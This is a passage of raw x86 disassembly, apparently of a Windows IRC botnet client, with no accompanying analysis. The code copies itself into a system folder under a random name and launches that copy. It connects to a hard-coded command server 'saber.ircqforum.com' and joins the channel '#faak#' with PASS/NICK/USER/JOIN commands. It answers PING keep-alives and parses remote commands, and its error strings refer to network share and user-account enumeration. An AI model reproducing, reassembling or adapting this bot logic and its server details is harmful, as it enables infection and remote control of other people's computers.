edi, edi mov [ebp+var_4], edi loc_40E465: ; CODE XREF: sub_40E337+A5j ; sub_40E337+120j cmp [ebp+var_C], 0EAh jz loc_40E376 cmp edi, esi jz short loc_40E47D push edi call dword_43AE28 loc_40E47D: ; CODE XREF: sub_40E337+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_4172B0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_40E337 endp ; =============== S U B R O U T I N E ======================================= sub_40E4B7 proc near ; CODE XREF: sub_40DAF0+41p ; sub_40DCE6+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_40E569 jz loc_40E562 cmp eax, 7Bh ja short loc_40E52E jz short loc_40E524 cmp eax, 5 jz short loc_40E51A cmp eax, 8 jz short loc_40E510 cmp eax, 32h jz short loc_40E506 cmp eax, 35h jz short loc_40E4FC cmp eax, 57h jnz loc_40E5B8 push offset aInvalidParamet ; "Invalid parameter." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E4FC: ; CODE XREF: sub_40E4B7+30j push offset aServerNameNotF ; "Server name not found." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E506: ; CODE XREF: sub_40E4B7+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E510: ; CODE XREF: sub_40E4B7+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E51A: ; CODE XREF: sub_40E4B7+21j push offset aAccessDenied_ ; "Access denied." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E524: ; CODE XREF: sub_40E4B7+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E52E: ; CODE XREF: sub_40E4B7+1Aj sub eax, 7Ch jz short loc_40E55B sub eax, 7C8h jz short loc_40E554 dec eax jz short loc_40E54A dec eax jnz short loc_40E5B8 push offset aDuplicateShare ; "Duplicate share name." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E54A: ; CODE XREF: sub_40E4B7+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E554: ; CODE XREF: sub_40E4B7+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E55B: ; CODE XREF: sub_40E4B7+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E562: ; CODE XREF: sub_40E4B7+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E569: ; CODE XREF: sub_40E4B7+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_40E5A2 jz short loc_40E59B sub eax, 8ADh jz short loc_40E5CD dec eax dec eax jz short loc_40E594 dec eax jz short loc_40E58D dec eax dec eax jnz short loc_40E5B8 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E58D: ; CODE XREF: sub_40E4B7+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E594: ; CODE XREF: sub_40E4B7+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E59B: ; CODE XREF: sub_40E4B7+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5A2: ; CODE XREF: sub_40E4B7+B9j sub eax, 8CAh jz short loc_40E5D4 sub eax, 17h jz short loc_40E5CD sub eax, 25h jz short loc_40E5C6 sub eax, 29h jz short loc_40E5BF loc_40E5B8: ; CODE XREF: sub_40E4B7+35j ; sub_40E4B7+87j ... push offset aAnUnknownError ; "An unknown error occurred." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5BF: ; CODE XREF: sub_40E4B7+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5C6: ; CODE XREF: sub_40E4B7+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5CD: ; CODE XREF: sub_40E4B7+C2j ; sub_40E4B7+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5D4: ; CODE XREF: sub_40E4B7+F0j push offset aNetworkConnect ; "Network connection not found." loc_40E5D9: ; CODE XREF: sub_40E4B7+40j ; sub_40E4B7+4Aj ... push offset dword_43F408 call sub_4172B0 pop ecx mov eax, offset dword_43F408 pop ecx retn sub_40E4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E5EB proc near ; CODE XREF: sub_40EE72+2231p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_4199B9 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 27F0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_4199B9 lea eax, [ebp+var_718] push eax call sub_41999C add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_43ADA8 test eax, eax jnz short loc_40E67B mov esi, offset dword_43F204 push offset dword_42F568 push esi call sub_4172B0 pop ecx pop ecx jmp short loc_40E6A4 ; --------------------------------------------------------------------------- loc_40E67B: ; CODE XREF: sub_40E5EB+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_40E4B7 pop ecx mov esi, offset dword_43F204 push eax push offset dword_42F530 push esi call sub_4172B0 add esp, 14h loc_40E6A4: ; CODE XREF: sub_40E5EB+8Ej mov eax, esi pop esi leave retn sub_40E5EB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-0Ch], ebx mov dword ptr [ebp-8], offset sub_40D3A5 push dword ptr [ebp-8] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_424058 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CD5F0, eax call esi push eax call sub_417302 pop ecx call sub_40981F push 2 call dword_43AE44 push 7530h push offset aBotid ; "botid" push ebx push ebx call near ptr 28003DBh nop push eax nop call near ptr 2670201h cmp eax, 102h jnz short loc_40E726 push 1 nop call near ptr 77E75CB5h loc_40E726: ; CODE XREF: ___:0040E71Cj lea eax, [ebp-884h] push eax push 202h call dword_43AD10 cmp eax, ebx mov [ebp-8], eax jnz loc_40EB89 cmp byte ptr [ebp-884h], 2 jnz loc_40EB83 xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_40EB83 mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 26207EAh lea eax, [ebp-2ECh] push esi push eax push ebx call near ptr 2740B3Ch nop push eax nop call near ptr 2680000h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_4192B8 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset aSS_2 ; "%s%s" lea eax, [ebp-5F4h] push esi push eax call sub_41782A lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_417880 add esp, 1Ch test eax, eax jnz loc_40E98C cmp dword_42F5BC, ebx mov esi, offset byte_42F674 jz short loc_40E824 push esi xor edi, edi call sub_417AB0 sub eax, 4 pop ecx jz short loc_40E824 loc_40E801: ; CODE XREF: ___:0040E822j call sub_41730C push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_42F674[edi], dl inc edi call sub_417AB0 sub eax, 4 pop ecx cmp edi, eax jb short loc_40E801 loc_40E824: ; CODE XREF: ___:0040E7F1j ; ___:0040E7FFj lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset aSS_3 ; "%s\\%s" push eax call sub_4172B0 add esp, 10h lea eax, [ebp-1E8h] push eax nop call near ptr 26B0392h cmp eax, 0FFFFFFFFh jz short loc_40E864 lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 27910BBh loc_40E864: ; CODE XREF: ___:0040E850j mov esi, dword_424160 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_40E87B: ; CODE XREF: ___:0040E8B2j call esi test eax, eax jnz short loc_40E8B4 call near ptr 26702AAh nop cmp edi, ebx jnz short loc_40E8B4 cmp eax, 20h jz short loc_40E895 cmp eax, 5 jnz short loc_40E8B4 loc_40E895: ; CODE XREF: ___:0040E88Ej push 1 pop edi push 3A98h nop call near ptr 26207A4h lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_40E87B ; --------------------------------------------------------------------------- loc_40E8B4: ; CODE XREF: ___:0040E87Fj ; ___:0040E889j ... lea eax, [ebp-1E8h] push eax call sub_40AB7C pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 27910BBh push 10h lea eax, [ebp-1Ch] push ebx push eax call sub_417330 push 44h lea eax, [ebp-64h] pop esi push esi push ebx push eax call sub_417330 add esp, 18h mov [ebp-64h], esi mov dword ptr [ebp-58h], offset byte_436EDC mov [ebp-34h], bx push 1 pop esi mov [ebp-38h], esi nop call near ptr 27F0D71h push eax push esi push 100000h nop call near ptr 274066Ch lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_42F7EC push eax call sub_4172B0 add esp, 14h lea eax, [ebp-1Ch] push eax lea eax, [ebp-64h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 2780514h test eax, eax jz short loc_40E98C push 0C8h nop call near ptr 26207A4h push dword ptr [ebp-1Ch] mov esi, dword_424078 call esi push dword ptr [ebp-18h] call esi call dword_43ACF8 push ebx nop call near ptr 77E75CB5h loc_40E98C: ; CODE XREF: ___:0040E7E0j ; ___:0040E962j cmp dword_4CD9D0, 2 jle short loc_40E9D8 mov eax, dword_4CD9D4 push dword ptr [eax+4] call sub_41781F pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 2670201h push esi nop call near ptr 265089Dh mov eax, dword_4CD9D4 cmp [eax+8], ebx jz short loc_40E9D8 push 7D0h call near ptr 26207A4h nop mov eax, dword_4CD9D4 push dword ptr [eax+8] nop call near ptr 27F0CC6h loc_40E9D8: ; CODE XREF: ___:0040E993j ; ___:0040E9BDj cmp dword_42F5C0, ebx jz short loc_40E9F5 cmp dword_43AE68, ebx jnz short loc_40E9F5 lea eax, [ebp-5F4h] push eax call sub_40C1AE pop ecx loc_40E9F5: ; CODE XREF: ___:0040E9DEj ; ___:0040E9E6j lea eax, [ebp-0E4h] push offset dword_42F7C4 push eax call sub_4172B0 push ebx lea eax, [ebp-0E4h] push ebx push eax call sub_416D5C lea eax, [ebp-0E4h] push eax call sub_40BF6D push 0B80h push ebx push offset dword_43FA70 call sub_417330 call sub_41730C push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CD5FC mov dword_4CD770, ebx call sub_418C10 mov eax, dword_42F5A0 push 3Fh mov edi, offset dword_4CD67C push offset aFaak ; "#faak#" push edi mov dword_4CD74C, eax call sub_418C10 push 3Fh mov esi, offset dword_4CD6BC push offset aSaad_ ; "saad." push esi call sub_418C10 add esp, 48h mov dword_4CD750, ebx loc_40EA83: ; CODE XREF: ___:0040EB29j ; ___:0040EB34j ... mov [ebp-4], ebx loc_40EA86: ; CODE XREF: ___:0040EADDj cmp dword_43AE80, ebx jnz short loc_40EAA4 lea eax, [ebp-20h] push ebx push eax call dword_43ACDC test eax, eax jnz short loc_40EAA4 push 7530h jmp short loc_40EAD0 ; --------------------------------------------------------------------------- loc_40EAA4: ; CODE XREF: ___:0040EA8Cj ; ___:0040EA9Bj push offset dword_4CD5F8 mov dword_4CD76C, ebx call sub_40EB92 cmp eax, 2 mov [ebp-8], eax jz loc_40EB7E cmp dword_4CD76C, ebx jz short loc_40EACB dec dword ptr [ebp-4] loc_40EACB: ; CODE XREF: ___:0040EAC6j push 0BB8h loc_40EAD0: ; CODE XREF: ___:0040EAA2j nop call near ptr 26207A4h inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_40EA86 cmp dword ptr [ebp-8], 2 jz loc_40EB7E cmp [ebp-0Ch], ebx jz short loc_40EB2E push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CD5FC call sub_418C10 mov eax, dword_42F5A0 push 3Fh push offset aFaak ; "#faak#" push edi mov dword_4CD74C, eax call sub_418C10 push 3Fh push offset aSaad_ ; "saad." push esi call sub_418C10 add esp, 24h mov [ebp-0Ch], ebx jmp loc_40EA83 ; --------------------------------------------------------------------------- loc_40EB2E: ; CODE XREF: ___:0040EAECj cmp byte_42F650, bl jz loc_40EA83 push 7Fh push offset byte_42F650 push offset dword_4CD5FC call sub_418C10 mov eax, dword_42F5A4 push 3Fh push offset aFaak_0 ; "#faak#" push edi mov dword_4CD74C, eax call sub_418C10 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_418C10 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_40EA83 ; --------------------------------------------------------------------------- loc_40EB7E: ; CODE XREF: ___:0040EABAj ; ___:0040EAE3j call sub_416F25 loc_40EB83: ; CODE XREF: ___:0040E74Aj ; ___:0040E75Aj call dword_43ACF8 loc_40EB89: ; CODE XREF: ___:0040E73Dj pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB92 proc near ; CODE XREF: ___:0040EAAFp ; DATA XREF: sub_40EE72+3B0Co var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40EBB7: ; CODE XREF: sub_40EB92+E6j ; sub_40EB92+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_43AD98 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40ADCA test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40ECE4 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_417330 push 0 lea eax, [ebp+var_2C] push dword_4CD760 push dword_42F5CC push eax call sub_415D01 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_440808 push edi push eax call sub_418C10 add esp, 28h push 6 push 1 push 2 call dword_43AE18 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_4407FC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_43AD40 cmp eax, 0FFFFFFFFh jnz short loc_40EC7D push esi call dword_43AE30 call sub_40ADF3 push 7D0h loc_40EC72: ; CODE XREF: sub_40EB92+146j nop call near ptr 26207A4h jmp loc_40EBB7 ; --------------------------------------------------------------------------- loc_40EC7D: ; CODE XREF: sub_40EB92+CDj lea eax, [ebp+var_18C] push eax push offset dword_42F7F8 call sub_40BFE1 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40ECFA add esp, 28h mov edi, eax push esi call dword_43AE30 test edi, edi jz loc_40EBB7 cmp edi, 1 jnz short loc_40ECDA push 0DBBA0h jmp short loc_40EC72 ; --------------------------------------------------------------------------- loc_40ECDA: ; CODE XREF: sub_40EB92+13Fj cmp edi, 2 jz short loc_40ECE8 jmp loc_40EBB7 ; --------------------------------------------------------------------------- loc_40ECE4: ; CODE XREF: sub_40EB92+5Aj xor eax, eax jmp short loc_40ECF4 ; --------------------------------------------------------------------------- loc_40ECE8: ; CODE XREF: sub_40EB92+14Bj push [ebp+var_34] call sub_417078 pop ecx push 2 pop eax loc_40ECF4: ; CODE XREF: sub_40EB92+154j pop edi pop esi leave retn 4 sub_40EB92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECFA proc near ; CODE XREF: sub_40EB92+123p var_1A10 = byte ptr -1A10h var_A10 = byte ptr -0A10h var_240 = byte ptr -240h var_1A0 = byte ptr -1A0h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A10h call sub_417B30 push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+var_1A0] pop ecx loc_40ED18: ; CODE XREF: sub_40ECFA+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40ED18 cmp byte_4CD768, bl jz short loc_40ED3F push offset byte_4CD768 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_40D633 add esp, 0Ch loc_40ED3F: ; CODE XREF: sub_40ECFA+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_415D01 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_4172B0 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_40EDA9 push [ebp+arg_0] call dword_43AE30 push 1388h call near ptr 26207A4h nop loc_40EDA2: ; CODE XREF: sub_40ECFA+D9j ; sub_40ECFA+153j xor eax, eax loc_40EDA4: ; CODE XREF: sub_40ECFA+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40EDA9: ; CODE XREF: sub_40ECFA+92j ; sub_40ECFA+F8j ... mov esi, 1000h lea eax, [ebp+var_1A10] push esi push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_1A10] push ebx push esi push eax push [ebp+arg_0] call dword_43ADB0 test eax, eax jle short loc_40EDA2 lea eax, [ebp+var_A10] push eax lea eax, [ebp+var_1A10] push eax call sub_40A868 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_40EDA9 lea edi, [ebp+var_A10] loc_40EDFA: ; CODE XREF: sub_40ECFA+165j push 1 pop esi loc_40EDFD: ; CODE XREF: sub_40ECFA+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_40EE72 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_40EE40 push 7D0h nop call near ptr 26207A4h jmp short loc_40EDFD ; --------------------------------------------------------------------------- loc_40EE40: ; CODE XREF: sub_40ECFA+137j cmp esi, 0FFFFFFFDh jz short loc_40EE6A cmp esi, 0FFFFFFFEh jz short loc_40EE66 cmp esi, 0FFFFFFFFh jz loc_40EDA2 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_40EDFA jmp loc_40EDA9 ; --------------------------------------------------------------------------- loc_40EE66: ; CODE XREF: sub_40ECFA+14Ej push 1 jmp short loc_40EE6C ; --------------------------------------------------------------------------- loc_40EE6A: ; CODE XREF: sub_40ECFA+149j push 2 loc_40EE6C: ; CODE XREF: sub_40ECFA+16Ej pop eax jmp loc_40EDA4 sub_40ECFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE72 proc near ; CODE XREF: sub_40ECFA+12Ap var_15B0 = byte ptr -15B0h var_11B0 = byte ptr -11B0h var_FB0 = byte ptr -0FB0h var_DB0 = byte ptr -0DB0h var_CB0 = byte ptr -0CB0h var_CAC = byte ptr -0CACh var_BAC = byte ptr -0BACh var_BA8 = byte ptr -0BA8h var_AA8 = byte ptr -0AA8h var_A28 = byte ptr -0A28h var_9C7 = byte ptr -9C7h var_9C6 = byte ptr -9C6h var_9C4 = byte ptr -9C4h var_9C3 = byte ptr -9C3h var_9BA = byte ptr -9BAh var_9B8 = byte ptr -9B8h var_9B6 = byte ptr -9B6h var_9B5 = byte ptr -9B5h var_928 = byte ptr -928h var_90C = dword ptr -90Ch var_908 = byte ptr -908h var_804 = dword ptr -804h var_800 = dword ptr -800h var_7FC = byte ptr -7FCh var_7F8 = dword ptr -7F8h var_7F4 = byte ptr -7F4h var_7F0 = dword ptr -7F0h var_7EC = dword ptr -7ECh var_7E8 = byte ptr -7E8h var_780 = byte ptr -780h var_774 = byte ptr -774h var_770 = dword ptr -770h var_76C = byte ptr -76Ch var_768 = byte ptr -768h var_75C = byte ptr -75Ch var_73C = dword ptr -73Ch var_738 = byte ptr -738h var_710 = dword ptr -710h var_708 = byte ptr -708h var_6FC = dword ptr -6FCh var_6F8 = byte ptr -6F8h var_6F4 = byte ptr -6F4h var_6F0 = dword ptr -6F0h var_6EC = byte ptr -6ECh var_6E8 = byte ptr -6E8h var_6B8 = byte ptr -6B8h var_681 = byte ptr -681h var_680 = byte ptr -680h var_678 = byte ptr -678h var_670 = byte ptr -670h var_66C = byte ptr -66Ch var_668 = byte ptr -668h var_5F8 = byte ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = dword ptr -5F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_578 = dword ptr -578h var_574 = dword ptr -574h var_570 = dword ptr -570h var_56C = dword ptr -56Ch var_568 = dword ptr -568h var_564 = dword ptr -564h var_560 = dword ptr -560h var_55C = byte ptr -55Ch var_50C = dword ptr -50Ch var_508 = byte ptr -508h var_504 = dword ptr -504h var_500 = byte ptr -500h var_4F4 = dword ptr -4F4h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = byte ptr -4E8h var_4C0 = byte ptr -4C0h var_4A0 = dword ptr -4A0h var_488 = byte ptr -488h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = byte ptr -45Ch var_458 = byte ptr -458h var_444 = byte ptr -444h var_434 = byte ptr -434h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_40C = dword ptr -40Ch var_408 = byte ptr -408h var_3FC = byte ptr -3FCh var_3F8 = byte ptr -3F8h var_3D8 = byte ptr -3D8h var_3B4 = byte ptr -3B4h var_398 = byte ptr -398h var_388 = byte ptr -388h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = byte ptr -2F8h var_2EC = word ptr -2ECh var_2EA = word ptr -2EAh var_2E8 = dword ptr -2E8h var_2DC = byte ptr -2DCh var_DC = dword ptr -0DCh var_D8 = byte ptr -0D8h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_54 = byte ptr -54h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 15B0h call sub_417B30 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2DC] push ebx push eax mov [ebp+var_C0], 3 mov [ebp+var_10], ebx mov [ebp+var_AC], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_DC], ebx call sub_417330 push 1Bh lea eax, [ebp+var_928] push [ebp+arg_10] push eax call sub_418C10 add esp, 18h cmp [ebp+arg_0], ebx jz loc_40F239 push esi lea eax, [ebp+var_FB0] push ebx push eax call sub_417330 dec esi lea eax, [ebp+var_FB0] push esi push [ebp+arg_0] push eax call sub_418C10 lea eax, [ebp+var_FB0] push offset asc_432E84 ; " :" push eax call sub_417880 mov [ebp+var_C], eax lea eax, [ebp+var_FB0] push esi push eax lea eax, [ebp+var_11B0] push eax call sub_418C10 mov esi, offset asc_42A3B4 ; " " lea eax, [ebp+var_11B0] push esi push eax call sub_418B6E add esp, 34h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+var_BC], 1Fh loc_40EF45: ; CODE XREF: sub_40EE72+E7j push esi push ebx call sub_418B6E mov [edi], eax pop ecx add edi, 4 dec [ebp+var_BC] pop ecx jnz short loc_40EF45 mov esi, [ebp+var_94] cmp esi, ebx jz loc_40F239 cmp [ebp+var_90], ebx jz loc_40F239 push 100h lea eax, [ebp+var_A28] push ebx push eax call sub_417330 add esp, 0Ch lea ecx, [ebp+var_18] push 1Fh pop edx push 1 pop edi loc_40EF93: ; CODE XREF: sub_40EE72+153j mov eax, [ecx] cmp eax, ebx jz short loc_40EFBF cmp byte ptr [eax], 2Dh jnz short loc_40EFC7 cmp [eax+2], bl jnz short loc_40EFC7 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_A28], 1 mov esi, [ebp+var_94] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_40EFBF: ; CODE XREF: sub_40EE72+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_40EF93 loc_40EFC7: ; CODE XREF: sub_40EE72+12Aj ; sub_40EE72+12Fj cmp [ebp+var_9B5], bl jz short loc_40EFD2 mov [ebp+var_8], edi loc_40EFD2: ; CODE XREF: sub_40EE72+15Bj cmp [ebp+var_9BA], bl jz short loc_40EFE0 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_40EFE0: ; CODE XREF: sub_40EE72+166j cmp byte ptr [esi], 0Ah jz short loc_40F01A push 7Fh lea eax, [ebp+var_AA8] push esi push eax call sub_418C10 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_D8] push eax call sub_418C10 lea eax, [ebp+var_D8] push offset asc_432E80 ; "!" push eax call sub_418B6E add esp, 20h loc_40F01A: ; CODE XREF: sub_40EE72+171j push esi push offset aPing ; "PING" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F06B push [ebp+var_90] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_40D633 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_40F10F push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h jmp loc_40F10F ; --------------------------------------------------------------------------- loc_40F06B: ; CODE XREF: sub_40EE72+1B7j mov esi, [ebp+var_90] push esi push offset a001 ; "001" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4150D3 push esi push offset a005 ; "005" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4150D3 push esi push offset a302 ; "302" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F0D3 push offset a@ ; "@" push [ebp+var_88] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_40F10F inc eax push 9Fh push eax push [ebp+arg_1C] call sub_418C10 jmp short loc_40F10C ; --------------------------------------------------------------------------- loc_40F0D3: ; CODE XREF: sub_40EE72+238j push esi push offset a433 ; "433" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F116 push ebx push dword_4CD760 push dword_42F5CC push 